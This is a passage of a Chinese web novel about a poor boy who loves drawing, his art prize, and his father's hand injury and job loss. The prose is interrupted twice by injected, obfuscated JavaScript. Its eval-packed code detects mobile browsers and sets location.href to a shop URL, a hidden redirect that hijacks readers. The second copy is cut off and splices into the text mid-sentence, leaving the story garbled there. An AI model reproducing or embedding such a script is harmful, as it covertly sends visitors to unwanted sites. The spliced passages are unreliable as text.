张小五像一块干透了的海绵,把所有的东西都拼命地吸进去。 他每天早起一个小时画画,晚上写到十点多还要再画一会儿。家里的图画纸用完了,他就翻出以前的作业本,在背面画。铅笔短到捏不住了,他就拿刀片削开木皮,把里面的铅芯露出来,用手指捏着画。 张建国看着他这样,心里不是滋味。 有一天晚上,张建国从工地回来,带了一个东西。是一个帆布笔袋,鼓鼓囊囊的,拉链有点涩,但还能用。 “工地上一哥们儿给的,他家孩子不学了,这些铅笔和橡皮用不上了,让我拿回来给你。”张建国把笔袋递过来,眼睛不看张小五,看天花板。 张小五拉开拉链,里面整整齐齐摆着十几支铅笔,从2H到6B,各种型号都有。还有两块美术专用橡皮,一块硬的一块软的,一块没拆封的削笔刀。 他的眼泪一下子涌上来,但他忍住了,没有让它们掉下来。 “谢谢爸。”他说,声音稳稳的。 “谢啥,又不是新的。”张建国嘟囔了一句,转身去厨房了。 张小五把那些铅笔一支一支拿出来,摆在桌上,像摆一排小小的士兵。他拿起那支6B,在纸上画了一条线。线很黑,很软,像一小段黑色的绸缎。 他笑了。 那天晚上,张小五在那幅“我的家”旁边,又画了一幅新的。画的是父亲递笔袋给他的样子。父亲的脸侧着,眼睛看着天花板,一只手伸出来,手里攥着那个帆布袋。 张小五给这幅画取了一个名字,叫《礼物》。 他没有告诉任何人这个名字。 只是每天晚上睡觉前,都会翻到那一页,看一眼。 然后才关灯。 4. 比赛 等待比赛结果的那两周,张小五觉得每一天都像一年那么长。 他把李老师的话翻来覆去地想了很多遍——“歪的才是活的”。他试过在课堂上偷偷画画,画数学老师转身写板书时的背影,画窗外梧桐树上一只啄虫子的麻雀,画前排周扬趴在桌上睡觉时嘴角流下的口水。 每一笔都歪歪扭扭的,但不知道为什么,这些歪歪扭扭的线条凑在一起,那些人和物就好像真的从纸上站起来了。 周扬睡醒之后看到那张画,先是愣了一下,然后笑得前仰后合,差点从椅子上翻下去。 “张小五你变态啊!你画我流口水!”他一把抢过那张纸,举起来给周围的同学看,“你们快看!张小五画我睡觉!” 周围的同学都凑过来看,有的笑,有的说画得还挺像,有的说张小五你是不是暗恋周扬。张小五的脸红得像煮熟的虾,伸手想去抢那张纸,但周扬举得高高的,他够不着。 “还我。”张小五说。 “不还,这张画归我了。”周扬把纸叠了两下,塞进自己的书包里,“以后我要当传家宝,让我儿子看看他爹当年在课堂上睡觉的英姿。” 张小五气得想揍他,但嘴角忍不住往上弯了一下。 其实周扬这个人不坏。虽然家里有钱,但他从来不炫富,也不欺负人。他最大的爱好就是吃,第二大的爱好就是睡觉。他的书包里永远塞着各种零食,薯片、辣条、牛肉干,上课的时候趁老师不注意就往嘴里塞,腮帮子鼓鼓的,像只仓鼠。 有时候他会分给张小五吃。张小五不要,他就直接扔过来,薯片袋子“啪”地落在张小五桌上,把周围同学都吓了一跳。 “吃吧吃吧,我家批发的,吃不完。”周扬每次都用这个理由。 张小五知道他家不是批发的,他爸开了一家建材公司,他妈是会计,家里只有他一个儿子,零花钱多得花不完。但张小五没有戳穿他,只是把薯片收下,留着中午吃。 周四下午最后一节是班会课,班主任刘老师在讲台上讲下周的期中考试安排,张小五在底下画手。 他在画自己的左手。 这是李老师教他的——不知道画什么的时候就画手,手是人体最难画的部位之一,结构复杂,骨骼和肌肉交错,画好了手,其他部位就不难了。 张小五把左手摊在桌子上,手心朝上,手指微微弯曲。他用2B铅笔勾出拇指的轮廓,然后是食指、中指、无名指、小指。每根手指的关节处都有皱纹,指甲盖有弧度,指腹有指纹的纹路。 他画得很认真,连刘老师叫他名字都没听见。 “张小五!”刘老师的声音拔高了八度。 张小五猛地抬起头,手里的铅笔在纸上划了一道长长的线。全班同学都看着他,有的在偷笑。 “你在干什么?”刘老师走下讲台,高跟鞋“笃笃笃”地敲在地面上,每一步都像踩在张小五的心尖上。 张小五下意识地把画本往桌斗里塞,但刘老师已经走到了他面前,伸出了手。 “拿出来。” 张小五犹豫了一下,把画本递了过去。 刘老师翻开画本,第一页是金鱼,第二页是母亲,第三页是“我的家”。她一页一页地翻过去,脸上的表情从严肃变成惊讶,又从惊讶变成一种说不清道不明的东西。 她翻到张小五刚才画的那一页——左手,还没画完,无名指的指甲盖只画了一半。 “这是你的手?”刘老师问。 张小五点点头。 刘老师把画本合上,还给了他。她站在张小五的课桌前,沉默了几秒钟,然后说了一句让全班同学都意外的话。 “画得不错。但是上课还是要听讲,下周就要期中考试了,你的数学和英语要加把劲。” 说完她就走回了讲台,继续讲期中考试的事。 周扬在旁边用胳膊肘捅了捅张小五,小声说:“刘老师居然没骂你,太阳打西边出来了。” 张小五没理他,低头把画本收进书包里。他的手心全是汗,心脏还在“怦怦”跳。 放学的时候,李老师在办公室门口等他。 “张小五,过来一下。” 张小五背着书包跑过去,心里七上八下的。李老师平时不会在这个时候找他,除非是有什么事。 “区里的比赛结果出来了。”李老师说。 张小五的心一下子提到了嗓子眼。他张了张嘴,想问又不敢问,就那么直愣愣地站着,手攥着书包带子,指节发白。 李老师看着他紧张的样子,忍不住笑了。 “别紧张,是好消息。”她说,“你的画得了三等奖。” 张小五的大脑空白了一秒钟。 三等奖。 他得了三等奖。 “真的?”他的声音有点发抖。 “真的。”李老师从桌上拿起一张红彤彤的奖状,递给他,“区里一共选了八十多幅作品参赛,小学组和初中组一起评的。三等奖只有六个,你是其中一个。” 张小五接过奖状,手抖得厉害。奖状上印着金色的字:“张小五同学:你的作品《我的家》在‘七彩童年’全区中小学生绘画大赛中荣获初中组三等奖。特发此状,以资鼓励。” 下面盖着区教育局和区文联的红章。 张小五把奖状翻来覆去看了好几遍,每一个字都看了,然后抬起头,眼眶红红的。 “李老师,我能把这个拿回家给我爸看吗?” “当然能。”李老师从抽屉里拿出一个塑料文件袋,帮他把奖状装好,“这是你的荣誉,你爸一定会很高兴的。” 张小五把文件袋抱在怀里,像抱着一个易碎的瓷器。他朝李老师鞠了一躬,转身就跑。跑了两步又折回来,从书包里掏出那个帆布笔袋,拉开拉链,在最底层翻出一个东西。 那是一张叠得方方正正的纸,他把它递给李老师。 “李老师,这是我画的,送给您。” 李老师打开那张纸,看见了一幅画。画的是她站在讲台上的样子,手里拿着一支画笔,身后的黑板上写着一行字:“画画不只是画得像,更重要的是画出心里的东西。” 那张画用的是超市广告纸的背面,纸面已经泛黄了,边角还有一小块酱油渍。但画上的人像活的一样,眼睛里有光,嘴角有笑意,连额前垂下来的一缕碎发都画得仔仔细细。 李老师看着那幅画,好一会儿没说话。 “张小五。”她说,声音有点不一样。 “嗯。” “你以后一定会成为一个很好的画家。” 张小五咧嘴笑了,露出一口不太整齐的牙。他朝李老师鞠了一躬,转身就跑出了办公室,书包在背上颠来颠去,像一只撒欢的小狗。 李老师站在门口看着他的背影消失在走廊尽头,低头又看了一眼手里的画。 她把那张画小心翼翼地夹在教案本里,转身回到办公桌前,拉开抽屉,放了进去。 张小五几乎是飞回家的。 他从学校跑到公交站,等了十分钟的公交车觉得太慢,干脆跑了三站路,书包在背上“啪嗒啪嗒”地响,胸腔里的心脏跳得像擂鼓。路边的行人都看他,一个瘦小的男孩背着大书包在街上狂奔,脸上还带着一种近乎疯狂的笑容。 跑到楼下的时候,他看见那棵老槐树底下停着一辆电动车,不是他们这栋楼的。他没在意,三步并作两步跑上楼梯,一口气爬到六楼,掏出钥匙开门。 “爸!爸!”他推开门,气喘吁吁地喊。 屋里没人。 张小五愣了一下。他看了看墙上的钟,下午五点四十,父亲平时这个时候应该已经回来了。他又看了看厨房,灶台是冷的,锅是空的。 他拿出手机——那是父亲淘汰下来的老年机,只能打电话发短信——拨了父亲的号码。 “您拨打的电话已关机。” 张小五把手机放下来,把奖状放在茶几上,然后坐在沙发上等。 十分钟过去了。 二十分钟过去了。 一个小时过去了。 窗外的天一点一点暗下去,对面楼的灯一盏一盏亮起来。张小五的肚子“咕噜”叫了一声,但他没有去找吃的,就那么坐在沙发上,眼睛盯着门口。 七点的时候,门终于响了。 钥匙在锁孔里拧了好几下,门才打开。张建国走进来,浑身是灰,脸上、脖子上、头发上都是。他的右手缠着一圈纱布,纱布上渗着暗红色的血。 张小五“腾”地从沙发上弹起来。 “爸!你的手怎么了!” “没事,蹭破点皮。”张建国把手藏到身后,但张小五已经看见了。他冲过去,抓住父亲的手腕,把那只手拉到眼前。 纱布缠得很厚,但从里面渗出来的血已经干了,变成黑红色,像一块干掉的油漆。张小五小心翼翼地揭开纱布的一角,看见下面是一条很长的口子,从虎口一直划到手腕,皮肉翻开,边缘有点发黑。 “这是怎么弄的?” “工地上的切割机,不小心碰了一下。”张建国把手抽回去,用左手重新把纱布缠好,“去医院缝了几针,没事了,你别大惊小怪的。” 张小五的眼睛红了。他咬着嘴唇,没让眼泪掉下来,转身跑到厨房,倒了一杯温水端过来。 张建国接过水,一口气喝完,把杯子放在茶几上。他这时候才注意到茶几上放着一个塑料文件袋,里面有一张红色的奖状。 “这是什么?”他伸手去拿。 “区里的比赛。”张小五的声音有点闷,“得了三等奖。” 张建国的手停在半空中。他看了看奖状,又看了看张小五,然后把手上的灰在裤子上蹭了蹭,才小心翼翼地把文件袋拿起来,抽出里面的奖状。 他的眼神不太好,眯着眼睛看了好一会儿,一个字一个字地念:“张小五同学……你的作品《我的家》……荣获初中组……三等奖。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444000|201069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他念完之后,把奖状放在茶几上,用左手擦了擦眼睛。 “爸,你的手……”张小五想说什么。 “没事,眼睛进灰了。”张建国使劲眨了眨眼,转过身去,背对着张小五,肩膀微微发抖。 张小五没有再问。他走过去,从后面抱住父亲,脸贴在父亲的后背上。父亲的工装有一股汗味和水泥味,混在一起,不好闻,但张小五觉得很安心。 “爸,我以后会画得更好。”他的声音闷在父亲的衣服里,“等我以后当了画家,挣了钱,给你买大房子住。” 张建国没有说话,只是把手覆在张小五环在他腰上的手上。那只受伤的右手缠着纱布,粗糙的纱布蹭着张小五的手背,有点扎人,但张小五没有躲开。 过了一会儿,张建国才开口,声音沙哑:“你先把手洗了,爸给你下碗面。” “你的手都这样了还下什么面,我来。”张小五松开手,跑到厨房,打开冰箱。冰箱里只有三个鸡蛋、一把青菜和半包挂面。他把挂面拿出来,接了一锅水放在灶上烧。 他不太会做饭,但他看过父亲下面条无数次了。水开了之后把面条放进去,用筷子搅一搅防止粘锅,煮三分钟之后把洗好的青菜放进去,再煮一分钟,最后打两个荷包蛋进去,关火,加盐和几滴酱油。 他端着两碗面走出来的时候,张建国已经把桌上的东西收拾干净了。他用左手笨拙地擦着茶几,那块抹布在他手里像一条不听话的鱼,怎么都拧不干。 张小五放下碗,拿过抹布拧干,把茶几擦干净,然后把两碗面摆好。一个碗里有两个荷包蛋,另一个碗里没有。 张建国看着那碗没有蛋的面,又看了看张小五碗里的两个蛋,皱着眉头说:“你把蛋给我一个。” “我不要,你受伤了要补身体。” “一个小孩儿吃什么两个蛋,给我一个。” “我就不给。”张小五端起碗,背对着父亲,大口大口地吃面,吃得“呼噜呼噜”响。 张建国没办法,只好用左手笨拙地夹起面条。他的左手不太灵活,筷子夹不住滑溜溜的面条,好几次都掉回碗里,溅出一点汤。 张小五偷偷看了一眼,放下自己的碗,坐到父亲旁边,拿过他的筷子。 “我喂你。” “不用,我自己能吃——” “张嘴。” 张建国张了张嘴,张小五夹了一筷子面条吹了吹,送进他嘴里。父子俩就这样,一个喂,一个吃,谁都没说话。客厅里只有筷子碰碗沿的声音,和窗外风吹树叶的沙沙声。 一碗面吃完,张建国的眼眶又红了。他用左手手背蹭了一下鼻子,说了一句让张小五记了很久的话。 “小五,爸这辈子没什么本事,但爸有你这个儿子,值了。” 张小五没说话,端起碗去厨房洗了。水龙头的水很凉,冲在他发烫的手指上,舒服极了。他把碗洗干净,放回碗柜,然后回到客厅,把奖状从文件袋里抽出来,拿到父亲的卧室。 “爸,这个放你床头吧。” 张建国愣了一下,然后笑了。他笑起来的时候眼角的皱纹很深,像干裂的土地,但那笑容很真,真得让张小五心里热乎乎的。 “行,放爸床头,爸天天看着。” 张小五把奖状放在父亲的枕头旁边,用枕头压住一角,这样不会被风吹走。他又看了看那张奖状,上面的金字在台灯下闪闪发光。 三等奖。 不是第一名,不是特等奖,甚至不是二等奖。 但这是他人生中的第一个奖。 是他用自己的手,一笔一笔画出来的。 那天晚上,张小五躺在自己的床上,翻来覆去睡不着。他想起父亲缠着纱布的手,想起父亲用左手笨拙地夹面条的样子,想起父亲说的那句“爸这辈子没什么本事”。 他忽然觉得鼻子很酸,酸得他不得不把脸埋进枕头里。 枕头是湿的,不知道是汗还是别的什么。 过了一会儿,他从床上爬起来,打开台灯,拿出画本,翻到新的一页。 他在纸上画了一只手。不是自己的左手,而是父亲的手。那只手粗糙、宽大,指甲缝里嵌着洗不掉的水泥灰,虎口处有一道很长的伤口,缝着黑色的线。 他画得很慢,一笔一笔地,像是要把那只手刻进心里。 画完之后,他在纸的右下角写了两个字。 “父亲。” 然后他合上画本,关掉台灯,闭上眼睛。 黑暗中,他又看见了那间很大的画室,四面墙都是窗户,阳光从各个方向涌进来。这一次画室里有两把椅子,一把大的,一把小的。大椅子上坐着一个穿工装的男人,小椅子上坐着一个拿着画笔的男孩。 男孩在画画,画的是那个男人。 男人在笑,笑得眼角的皱纹像干裂的土地。 张小五在梦里也笑了。 他笑得无声无息,嘴角弯弯的,像一弯浅浅的月牙。 5. 画下去 获奖之后的日子,张小五觉得自己像换了一个人。 不是那种脱胎换骨的变化,而是像一盆快要枯死的花,忽然被人浇了水。根还是那些根,叶子还是那些叶子,但整株植物从里到外都透出一股劲儿,一股想要往上长的劲儿。 他开始主动去找李老师请教问题,不再像以前那样缩在角落里,生怕被人看见。他会在课间的时候跑到美术办公室,推开门,探进半个脑袋,小声问一句:“李老师,您现在有空吗?” 李老师大多数时候都有空。她会放下手里的笔,转过椅子,认真地看他带来的画,指出哪里画得好,哪里还可以改进。她说话的时候总是看着张小五的眼睛,那种目光让张小五觉得自己不是一个普通的学生,而是一个被认真对待的、未来的画家。 “你的速写进步很大。”有一天李老师看完他画的周扬睡觉系列之后说,“线条比以前自信多了,不那么犹豫了。” 张小五挠挠头:“我就是画得多,每天画,画顺手了。” “这就是秘诀。”李老师说,“画画没有捷径,就是多画。你画得越多,你的手就越听你的话。等到有一天你的手完全听你的话了,你就不会再想‘这笔该怎么画’,而是只想‘我想画什么’。到那个时候,你就出师了。” 张小五把这句话记在了心里。 他确实画得越来越多了。 以前他只在家里画,现在他在任何地方都画。课间画,午休画,坐公交车的时候也画。他的口袋里永远揣着那个画本和一支铅笔,走到哪里画到哪里。 公交车上,他画对面坐着的老太太。老太太提着一个买菜的小拉车,车上系着一个红色的塑料袋,袋子里装着几根葱和一块豆腐。她靠在椅背上打盹,脑袋一点一点的,像小鸡啄米。张小五用几笔快速的线条勾出她的轮廓,然后在她的脸上加了很多皱纹,每一道皱纹都像一条干涸的小溪。 校门口,他画卖烤红薯的大爷。大爷的烤炉是用铁桶改装的,炉膛里炭火红彤彤的,烤红薯的香味能飘出去半条街。大爷的手很黑,指甲缝里全是炭灰,但他递过来的烤红薯总是用报纸包得好好的,热乎乎的,甜得能黏住牙。张小五画了那只手,黑黑的,糙糙的,但捧着一团金黄色的光。 操场上,他画体育课跑步的同学。那些人跑得太快了,他根本来不及画,只能先记下他们的动态——手臂摆动的幅度,腿迈出去的弧度,头发被风吹起来的样子。回到教室之后,他凭着记忆把这些碎片拼起来,画成一个个人物速写。那些人物有的跑在前面,有的落在后面,有的张着嘴大口喘气,有的闭着眼咬牙坚持。 周扬看到这些速写之后,说了一句很经典的话:“张小五,你是不是把我们都当成你的模特了?我们跑步你画画,我们吃饭你画画,我们上厕所你不会也画画吧?” 张小五认真地想了想,说:“厕所光线不好,画不清楚。” 周扬笑疯了。 日子就这样一天一天地过去,平淡得像白开水,但张小五觉得这白开水里加了糖,喝起来是甜的。 他喜欢这种生活。早上背着书包去上学,课间画画,中午和周扬一起吃午饭——周扬分他一半盒饭,他分周扬一张速写——下午放学去李老师办公室,回家之后写作业,写完作业继续画画,画到眼睛睁不开,倒在床上就睡。 父亲的伤好得差不多了。手上的纱布拆掉之后,露出一条蜈蚣一样的疤痕,从虎口一直爬到手腕。张建国用那只手试了试,握拳、张开、握拳、张开,动作还算灵活,但使不上力气。 “过几天就好了。”他对张小五说,也像是对自己说。 但张小五注意到,父亲开始用左手做更多的事情。左手端碗,左手拿杯子,左手拧毛巾。那只右手像是变成了一个摆设,大多数时候都插在口袋里,或者垂在身侧。 有一天晚上,张小五正在画画,听见父亲在卧室里打电话。声音不大,但老房子隔音差,他断断续续地听到了几个词——“工头”“活不多”“再等等”。 等父亲挂了电话,张小五走到卧室门口,靠在门框上。 “爸,工地上的活少了?” 张建国愣了一下,把手机放在床头柜上,说:“没有的事,就是年底了,工程少了,过完年就多了。” 张小五知道他在说谎。他已经好几天没看见父亲穿工装了。以前父亲每天出门都穿那件洗得发白的蓝色工装,口袋里插着一支圆珠笔和一截卷尺。但这几天,父亲穿的是一件旧夹克,早上出门的时候不往工地那个方向走,而是往菜市场那边去。 “爸。”张小五说。 “嗯。” “你是不是没活干了?” 张建国沉默了。他坐在床边,两只手撑在膝盖上,低着头看着自己的脚。那双开裂的解放鞋鞋头已经磨破了,露出里面的黑色棉布。 过了好一会儿,他才开口。 “工地说年底裁员,裁了一批临时工,爸在名单里。”他的声音很平静,像是在说一件跟自己无关的事,“没事,爸干了这么多年,认识的人多,过两天就能找到新活。” 张小五走过去,蹲在父亲面前,抬头看着他的脸。灯光下,父亲的脸显得很老。他才三十七岁,但看起来像五十多岁的人。额头上有三道深深的抬头纹,两鬓已经冒出白发,眼袋很重,像是挂着两个小沙袋。 “爸,我明天开始去捡瓶子卖。”张小五说。 “胡闹。”张建国的声音忽然严厉起来,“你好好上你的学,大人的事不用你管。” “可是——” “没有可是。”张建国站起来,居高临下地看着蹲在地上的儿子,“张小五,你给我听好了。你现在唯一的任务就是读书,就是画画。爸再穷,也不会让你去捡破烂。你要是敢去,爸就……” 他说不下去了。喉结上下动了好几次,最后只是伸出手,把张小五从地上拉起来。 “去睡觉。”他说,“明天还要上学。” 张小五没有动。他站在父亲面前,仰着脸,眼睛亮晶晶的。 “爸,等我以后当了画家,一幅画卖很多钱,你就再也不用出去干活了。” 张建国看着儿子的脸,那张小小的、认真的、还没有完全褪去婴儿肥的脸。他忽然觉得鼻子一酸,有什么东西涌上来,堵在喉咙里,怎么都咽不下去。 他用力地把张小五抱进怀里,抱得很紧很紧,像是怕一松手,这个孩子就会像他妈一样,从这个家里消失。 “好。”他的声音闷在张小五的头发里,“爸等着。” 那天晚上,张小五在床上躺了很久,脑子里乱糟糟的。他想到父亲的伤,想到父亲失业,想到家里的存款可能撑不了多久。他又想到母亲,想到她走的那天拖着的那个红色行李箱,想到她说“妈带你去城里,去住大房子”。 他翻了个身,把脸埋进枕头里,用力地闭了一下眼睛。 然后他爬起来,打开台灯,翻开画本。 他画了一个男人站在工地上的样子。男人穿着蓝色工装,戴着一顶黄色的安全帽,手里拿着一把瓦刀。他的脸上全是灰,但眼睛很亮,亮得像两颗星星。 画完之后,他在旁边写了几行字。 “我爸。建筑工人。他的手很糙,但他很温柔。他的手受过伤,但他从不喊疼。他是我见过最厉害的人。” 写完最后一个字,他才关灯睡觉。 第二天是周六。 张小五破天荒地没有睡懒觉,六点半就醒了。他轻手轻脚地穿好衣服,走到客厅,发现父亲的房门关着,里面传来均匀的呼吸声。 他打开冰箱,拿出两个鸡蛋和昨天剩的半把青菜,又找出一包挂面。他试着回忆父亲平时煮面的步骤,先把水烧开,再放面,再放青菜,最后打鸡蛋。 他做得很慢,中间还被锅沿烫了一下手指,疼得他龇了龇牙。但他没有放弃,最后居然真的煮出了两碗面。一碗面里有两个蛋,一碗里没有。 他把有蛋的那碗放在父亲那边的桌上,自己端着没有蛋的那碗,坐在沙发上慢慢地吃。 面有点糊了,盐放多了,青菜煮得太烂,鸡蛋的蛋黄散了,变成一锅黄乎乎的蛋花汤。但张小五吃得津津有味,把碗里的汤都喝光了。 八点多的时候,张建国从卧室里出来。他穿着一件旧T恤,头发乱糟糟的,脸上还有枕头印。他看到桌上的那碗面,又看到张小五手里的空碗,愣了一下。 “你做的?” “嗯。”张小五把碗放在茶几上,“可能不太好吃。” 张建国走到桌边坐下,拿起筷子,挑起一筷子面放进嘴里。他嚼了几下,表情很平静,然后又挑了一筷子,又吃了一口。 “好吃。”他说。 张小五知道他在说客套话,因为那面他自己尝过,又咸又烂,根本算不上好吃。但张建国把那碗面吃得干干净净,连汤都喝了,最后还把碗底那点碎蛋黄刮起来,送进嘴里。 吃完之后,张建国把碗筷收到厨房,洗了手,回到客厅。 “小五。”他说。 “嗯。” “爸今天要出去找活,你在家好好写作业,好好画画。” “我跟你一起去。”张小五说。 “你去干什么?” “我在旁边画画。” 张建国想拒绝,但看到儿子眼睛里那种倔强的光,到了嘴边的话又咽了回去。他叹了口气,点了点头。 “那你把衣服穿厚点,外面冷。” 张小五飞快地穿上外套,把画本和铅笔塞进口袋,跟着父亲出了门。 十二月的风很冷,吹在脸上像刀子割。张小五缩了缩脖子,把外套的拉链拉到最上面,跟紧父亲的脚步。 他们先去了城南的一个工地。那是张建国之前干过活的地方,一个正在建的商品房小区,几栋高楼已经封顶了,外墙还挂着绿色的防护网。张建国在门口跟保安说了几句话,保安摇了摇头,指了指里面一个板房。张建国走过去,敲了敲门,进去待了五分钟就出来了。 “不要人。”他对张小五说,脸上的表情没什么变化,像是早就预料到了。 然后他们去了城北。城北有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他们坐公交车回去的路上,张建国一直没有说话。他靠在车窗上,眼睛半闭着,不知道是睡着了还是在想事情。张小五坐在他旁边,翻开画本,画了父亲靠在车窗上的样子。车窗外的光打在他脸上,明暗交错,像一幅伦勃朗的画。 张小五不知道伦勃朗是谁,是后来李老师告诉他的。 但他知道,那一刻的父亲,是他画过的最好看的人。 那天晚上,张建国接到了一个电话。 当时张小五正在写数学作业,听见父亲在卧室里接电话,声音压得很低。他听不清父亲说了什么,只听见最后一句,声音忽然大了起来。 “真的?好好好,我明天就去!谢谢王老板!谢谢谢谢!” 张建国从卧室里冲出来,脸上的疲倦一扫而光,取而代之的是一种近乎亢奋的喜悦。他跑到张小五面前,蹲下来,双手扶着儿子的肩膀。 “小五!爸找到活了!一个远房亲戚介绍的,在开发区的一个新工地,当小工,一天一百二!” 一百二。张小五在心里飞快地算了一下,一个月三千六,够他们交房租、吃饭、买画纸和铅笔,也许还能剩下一点点。 “真的?”张小五的眼睛也亮了起来。 “真的!”张建国用力地晃了晃儿子的肩膀,“爸明天就去上班,开发区有点远,可能要早出晚归,你在家要照顾好自己。” “我没事。”张小五说,“我又不是小孩子了。” 张建国看着儿子的脸,忽然笑了。他笑得很大声,笑得眼泪都出来了,他用手背擦了擦眼角,说:“你不是小孩子?你才十三!” 张小五也笑了。他笑着笑着,忽然想起什么,跑回房间,从枕头底下抽出画本,翻到新的一页,飞快地画了起来。 他画了一个工地,画面上有很多人,有的人在搬砖,有的人在砌墙,有的人在开挖掘机。但画面的正中央,是一个穿着蓝色工装的男人,他站在脚手架上,手里拿着瓦刀,背后的天空很蓝很蓝。 张建国站在他身后看了很久。 “这幅画叫什么?”他问。 张小五想了想,在纸的右下角写了两个字。 “希望。” 张建国没有再说别的,只是伸出手,像往常一样揉了揉张小五的头发。那只粗糙的大手在儿子头顶上停留了很久,掌心的温度透过头发,传到头皮,传到张小五的心里。 那天晚上,张小五睡觉前把那幅《希望》看了很多遍。画上的父亲站在脚手架上,身后是蓝天,脚下是大地,手里是瓦刀。他的脸上有灰,但眼睛很亮。 张小五忽然想起一件事。 他翻开画本的第一页,那里画着一条金鱼。尾巴歪歪扭扭的,但整条鱼像是在游动。 他想起李老师说的那句话——“有时候,歪的才是活的。” 也许人生也是这样。 它永远不会是完美的直线,总会有歪的地方,有裂痕,有缺口。但正是那些歪的、裂的、缺了的地方,让它变成了活的。 张小五把画本合上,放在枕头底下,闭上眼睛。 明天父亲要去新工地了。 明天他要继续画画。 日子会好起来的。 6. 冬去春来 张建国去开发区工地之后,张小五的生活像被拧紧了发条的钟,每一天都走得又快又满。 早上五点半,闹钟还没响,张小五就醒了。不是他不想睡,是隔壁邻居家的公鸡太敬业了,每天五点准时打鸣,比任何闹钟都管用。那只公鸡的叫声又响又长,像一把生锈的锯子在锯铁管,整栋楼都能听见。张小五曾经在画本上给它画过一幅肖像,旁边写了一行字:“此鸡嗓门极大,建议炖汤。” 起床之后,他第一件事不是洗脸刷牙,而是跑到厨房,把昨晚剩下的米饭加水煮成稀饭。等稀饭咕嘟咕嘟冒泡的时候,他再去洗漱,收拾书包。稀饭煮好了,他就着半块腐乳或者一碟咸菜吃完,把剩下的盛进保温桶里,留给父亲中午吃。 父亲走得更早。张建国每天五点不到就出门了,开发区在城南,坐公交车要一个多小时,他得赶第一班车。走之前他会轻手轻脚地推开张小五的房门看一眼,然后才关上门离开。张小五知道这件事,因为他每天早上都会在那个时间假装睡着,等父亲关门之后才睁开眼睛。 有一次他起得特别早,在父亲出门之前就爬起来了。张建国正在穿鞋,看到他出来愣了一下。 “你怎么起这么早?” “睡不着。”张小五说,“爸,你中午记得吃饭,保温桶在桌上。” 张建国看了一眼桌上的保温桶,张了张嘴,想说什么又咽了回去。他蹲下来系鞋带,系得很慢,系完之后站起来,伸手揉了揉张小五的头发。 “走了。”他说。 “路上小心。”张小五说。 这种对话每天都在重复,简单得像白开水,但张小五觉得这白开水里有甜味。 日子虽然紧巴,但总算能过下去。张建国在工地上干的是小工,搬砖、和水泥、扛钢筋,什么杂活都干。一天一百二,一个月干满二十六天能拿三千一百二,去掉房租八百,吃饭六百,剩下的钱勉强够生活。张小五的画纸和铅笔是一笔额外的开销,虽然李老师时不时会给他一些,但他不好意思总是白拿,有时候会自己去文具店买。 他买最便宜的那种。素描纸论张买,一次买十张,一张五毛钱。铅笔买散装的,五毛钱一支,一次买五支。橡皮买那种最普通的白色方块,一块钱一个,用到只剩指甲盖大小还舍不得扔。 周扬有一次看到他削铅笔,削到只剩两厘米长的笔头还在用,忍不住说了一句:“张小五,你是不是有病?笔都这么短了还留着?” 张小五把那截短铅笔举起来看了看,说:“还能画,丢了浪费。” 周扬翻了翻白眼,第二天扔给他一盒新的素描铅笔,十二支装的,还是进口牌子。张小五捡起来看了看,又扔回去了。 “我不要。” “为什么不要?” “太贵了,我赔不起。” “谁让你赔了?”周扬急了,“我送给你的,不要你赔。” “那你以后不要送这么贵的东西。”张小五把那盒铅笔塞回周扬的书包里,“我用普通的就行。” 周扬气得腮帮子鼓鼓的,像只生气的河豚。但他没办法,张小五这个人轴得很,说不收就不收,天王老子来了都不好使。 过了几天,周扬又想了个办法。他从家里带来一袋素描纸,不是买的,是他妈从单位拿回来的打印纸,背面是空白的,可以画画。他把那袋纸塞到张小五桌斗里,然后装作若无其事地趴在桌上睡觉。 张小五发现的时候,想还给他,但周扬已经睡着了,怎么叫都叫不醒——也可能是装的。张小五没办法,只好收下。他数了数,那袋纸有三百多张,够他画大半年了。 他在心里默默记下了这个人情。 日子就这样一天一天地过,像墙上那本被一页一页撕掉的日历。张小五每天撕日历的时候都会看一眼上面的图案,有时候是风景,有时候是花鸟,有时候是美女。他把那些图案当成速写练习,每天撕下来的日历纸都不扔,翻过来在背面画当天的所见所闻。 一个冬天下来,他画了厚厚一摞日历纸,用橡皮筋捆着,塞在床底下。有时候半夜睡不着,他会把那一摞纸拖出来,一张一张地看。每一张纸都是一小块记忆的碎片——今天食堂的阿姨多给了他一个肉丸子,今天公交车上有一个孕妇给他让了座,今天李老师穿了一件新毛衣是墨绿色的很好看。 他把这些碎片攒起来,像攒钱一样,觉得它们是比钱更贵重的东西。 期末考试的时候,张小五的成绩进步了。 不是突飞猛进的那种,是那种一点一点往上爬的进步。语文从六十七分考到了七十五分,数学从五十二分考到了六十一分,英语最差,只有四十八分,但比期中考试多了五分。 班主任刘老师在发成绩单的时候,特意看了他一眼。 “张小五,你的数学和英语还要加油。”她说,“但是老师看到你在努力,继续保持。” 张小五点点头,把成绩单叠好塞进口袋里。他知道这个成绩不算好,但他已经尽力了。每天晚上写完作业都九点多了,他还要画画,画到十一点才睡。有时候画着画着就趴在桌上睡着了,醒来的时候脸上印着铅笔印,像一只花猫。 放假那天,周扬在校门口塞给他一个塑料袋。 “拿着,过年吃的。”周扬把袋子往他怀里一塞,转身就跑,跑了两步又回头喊了一句,“新年快乐啊张小五!” 张小五打开塑料袋,里面是一包大白兔奶糖、一袋瓜子、两盒饼干和一袋牛肉干。他站在原地,看着周扬跑远的背影,嘴角慢慢弯起来,弯成一个很浅很浅的弧度。 